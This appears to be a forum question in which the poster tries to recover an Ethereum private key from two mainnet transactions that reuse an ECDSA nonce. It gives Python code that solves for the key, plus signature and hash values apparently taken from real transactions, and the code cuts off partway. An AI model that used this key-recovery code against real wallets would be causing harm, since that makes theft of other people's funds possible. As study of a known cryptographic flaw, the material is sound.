# ETH ECDSA r reuse / nonce reuse solving

Reference article: https://bertcmiller.com/2021/12/28/glimpse_nonce_reuse.html

Objective: Solve for private key with 2 transactions signed with same R

Problem: Unable to get private key

Steps taken

1. Find 2 tx with same r based on reference article
2. Note down their r,s values from getTxHash
3. Get "raw" message signed via https://etherscan.io/getRawTx?tx=
4. Call attack function which solves the simultaneous equation to obtain private key

Suspected mistakes

1. Message being hashed is wrong? (Not sure what other value I can use for this?)
``````from ecdsa.numbertheory import inverse_mod
import ecdsa

def attack(publicKeyOrderInteger, signaturePair1, signaturePair2, messageHash1, messageHash2):
r1 = signaturePair1[0]
s1 = signaturePair1[1]
r2 = signaturePair2[0]
s2 = signaturePair2[1]

if (r1 != r2):
print("ERROR: The signature pairs given are not susceptible to this attack")
return None

numerator = (((s2 * messageHash1) % publicKeyOrderInteger) -
((s1 * messageHash2) % publicKeyOrderInteger))
denominator = inverse_mod(
r1 * ((s1 - s2) % publicKeyOrderInteger), publicKeyOrderInteger)

privateKey = numerator * denominator % publicKeyOrderInteger

return hex(privateKey)

if __name__ == "__main__":
G = ecdsa.SECP256k1.generator

# mod N component for secp256k1 which we will be using
order = G.order()
print('Order:', order)

hash1 = 0xb5d2454d7380bfa7ac75ec76f15eecb56e60941429153081fe799fb53a7ff901
s1 = 0x63ede1f38c2f7eb6163f5885852aaec1cfb5b2919d2fec9a46d6ff1494901392

hash2 = 0x9e459be7fa9950835a3c2594d3440c684fed05fa8e12e8088cc7776c4afb364c